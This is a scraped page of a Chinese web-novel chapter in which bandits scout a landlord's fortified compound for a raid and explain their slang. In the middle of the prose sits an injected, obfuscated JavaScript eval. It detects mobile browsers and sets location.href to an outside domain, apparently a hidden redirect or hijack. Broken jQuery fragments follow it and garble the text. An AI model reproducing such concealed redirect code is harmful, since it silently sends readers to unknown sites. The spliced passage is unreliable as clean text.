返回5. 第五章 砸窑(上)  此心如铁首页

关灯 护眼     字体:大 中 小

上一页 目录 下一页

心里正在劝说自己不去看床上的灰,“阿林保是绝对不会给我请大夫的。”

    许永寿又在屋内扫视一圈,只看见墙角一个破桌子,算是可堪一用,三下五除二,拆下两个桌子腿来,又撕下来一条床帐,把桌子腿固定在了济兰腿上。

    说实话,这条伤腿实在怪不到许永寿和万山雪的头上。

    昨日里,当着万山雪和满屋四梁八柱的面,济兰突然说:“给我一块石头。很大的石头。”

    他就用那块“很大的石头”砸断了自己的一条腿。

    许永寿叹了口气。这当然是一个很好的保证,不管是对阿林保,还是对他们。

    对阿林保,这是济兰从山上“死里逃生”的凭证。不管阿林保再怎么狐疑,也不至于立刻就反应过来。对绺子来说,这是济兰和他们“在同一条船上”的保证,他断了腿,跑不快,就算临时反悔,以许永寿的拔枪速度,可以立刻就“点”了他。

    此刻,济兰仍然保持着清醒。

    “你什么时候去‘踩盘子’(踩点)?”

    许永寿惊奇又好笑地看了他一眼。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516187|186227||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    /p>

    “晚上。你也是学上盘行话了?”

    “一般,也就是‘春点半开’(略通一二)吧。”济兰淡淡道。经过这三日的“相处”,他渐渐明白了一些万山雪他们的“话”。

    现在,他们只需要等到晚上。

    许永寿是绺子的“水香”。水香的意思就是负责排兵放哨的人。所以许永寿跟他一起来,一是为了监视他,二则是为了“踩盘子”。如果计划不变,今晚许永寿踩过了盘子就得收买一个“内盘”(内线),将画好的布防图递出去,明天晚上,万山雪他们就会下山,下来“砸窑”!

    “什么是‘砸窑’?”济兰突然问。

    “就是……”许永寿挠了挠后脑勺,突然发觉,黑话的一大好处就是,可以把不那么光彩的事儿神神秘秘地说个明白,“就是打家劫舍,劫富济贫。你进来的时候,看见罗家大院门口的两个炮楼和门上的红旗了吗?”

    济兰点了点头。

    许永寿哼笑了一声:“你这个阿林保伯伯,可是够肥的……一般的‘窑’,少有挂红旗的。挂红旗的意思就是‘我有兵有炮’。不过,有的挂红旗,是为了壮胆,吓唬俺们。像阿林保的红旗,倒是有点由头。打咱们一进来,我就看见墙根站着一溜跳子(兵),还养了十几条皮子(狗)……炮楼上两挺土炮……是个‘硬窑’!”

    济兰垂着眼睛,慢慢道:“这么说,我伯伯这个‘窑’,还不太好砸咯?”

    许永寿说:“想跑?想也不要想!你小子是个‘接灵子’(对别人的话领会很快),我不想插(杀)你……等这事儿成了,说不准,你可以跟大柜说说,挂个柱呢!”

    挂柱……如果他没记错的话,就是入绺?济兰的呼吸稍稍乱了一下。

    不错,他对阿林保没有什么感情,正如阿林保对他一样。

    一切都十分顺利,顺利得几乎有些超出济兰的预料。

    第二日白天,有个卖布的挑着担子进来了,许永寿一夜画下来的布防图顺顺当当地传给了他;卖布的交了布,又挑着担子走了。当晚,寂寥
本章未完,请点击下一页继续阅读>>

『加入书签,方便阅读』

上一页 目录 下一页